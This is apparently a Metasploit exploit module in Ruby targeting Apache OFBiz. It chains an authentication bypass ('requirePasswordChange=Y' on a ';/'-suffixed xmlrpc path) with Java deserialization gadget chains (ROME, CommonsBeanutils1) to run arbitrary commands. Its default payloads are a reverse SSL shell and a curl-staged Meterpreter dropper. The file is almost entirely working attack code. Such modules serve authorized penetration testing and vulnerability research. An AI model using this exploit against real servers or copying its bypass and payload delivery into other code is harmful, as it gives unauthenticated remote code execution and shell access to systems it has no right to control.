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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::JavaDeserialization
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache OFBiz XML-RPC Java Deserialization',
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        'Description' => %q{
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          This module exploits a Java deserialization vulnerability in Apache
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          OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
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          versions prior to 17.12.01 using the ROME gadget chain.
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          Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
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          and use the CommonsBeanutils1 gadget chain.
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          Verified working on 18.12.09, 17.12.01, and 15.12
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        },
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        'Author' => [
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          'Alvaro Muñoz', # Discovery
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          'wvu', # Exploit
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          'h00die' # cve-2023-49070
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        ],
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        'References' => [
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          ['CVE', '2020-9496'],
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          ['CVE', '2023-49070'], # auth bypass update
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          ['CVE', '2023-51467'], # auth bypass update
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          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],
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          ['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],
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          ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'],
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          ['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass
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        ],
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        'DisclosureDate' => '2020-07-13', # Vendor release note
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        'License' => MSF_LICENSE,
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        'Platform' => ['unix', 'linux'],
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Privileged' => false,
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
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              }
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :linux_dropper,
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              'DefaultOptions' => {
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                'CMDSTAGER::FLAVOR' => :curl,
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                'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 1,
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        'DefaultOptions' => {
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          'SSL' => true
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(8443),
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      OptString.new('TARGETURI', [true, 'Base path', '/']),
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    ])
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  end
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  # attempt to determine the version number. This attempt is flawed on versions
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  # < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page
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  # doesn't exist on versions < 17, so we just return back 'pre-17'
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  def version_from_login_page
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')
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    })
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    return nil if res.nil?
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    return 'pre-17' unless res.code == 200
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    # https://rubular.com/r/vputt9uJecevOk
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    if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}
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      return Regexp.last_match(1).strip
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    end
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    'unknown'
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  end
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  def check
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    # Send an empty serialized object
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    res = send_request_xmlrpc('')
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    return CheckCode::Unknown('Target did not respond to check.') unless res
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    if res.body.include?('Failed to read result object: null')
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      @version = 'pre-17'
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      return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
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    end
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    # newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz
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    @version = version_from_login_page
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    return CheckCode::Unknown('Target did not respond to check.') if @version.nil?
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    return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'
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    return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'
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    return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')
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    CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")
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  end
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  def exploit
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    @version = version_from_login_page if @version.nil?
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    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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    case target['Type']
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    when :unix_cmd
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      execute_command(payload.encoded)
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    when :linux_dropper
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      execute_cmdstager
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    end
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  end
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  def execute_command(cmd, _opts = {})
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    vprint_status("Executing command: #{cmd}")
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    if @version == 'pre-17'
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      vprint_status('Utilizing ROME deserialization chain')
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      res = send_request_xmlrpc(
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        # framework/webapp/lib/rome-0.9.jar
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        # used with 15.12, but not 18.12 compatible
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        generate_java_deserialization_for_command('ROME', 'bash', cmd)
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      )
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    else
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      vprint_status('Utilizing CommonsBeanutils1 deserialization chain')
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      res = send_request_xmlrpc(
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        # framework/webapp/lib/rome-0.9.jar
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        # used with 18.12 compatible, but not 15.12 compatible
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        generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
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      )
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    end
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    unless res && res.code == 200
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      fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
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    end
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    print_good("Successfully executed command: #{cmd}")
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  end
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  def send_request_xmlrpc(data)
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    # http://xmlrpc.com/
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    # https://ws.apache.org/xmlrpc/
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    request = {
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),
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      'ctype' => 'text/xml',
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      'data' => <<~XML
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        <?xml version="1.0"?>
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        <methodCall>
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          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
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          <params>
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            <param>
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              <value>
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                <struct>
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                  <member>
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                    <name>#{rand_text_alphanumeric(8..42)}</name>
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                    <value>
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                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
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                    </value>
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                  </member>
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                </struct>
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              </value>
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            </param>
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          </params>
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        </methodCall>
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      XML
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    }
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    unless @version == 'pre-17'
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      request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/
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      request['vars_get'] = {
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        'USERNAME' => '',
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        'PASSWORD' => rand_text_alphanumeric(1..5),
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        'requirePasswordChange' => 'Y' # magic bypass string
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      }
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    end
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    send_request_cgi(request)
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  end
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end
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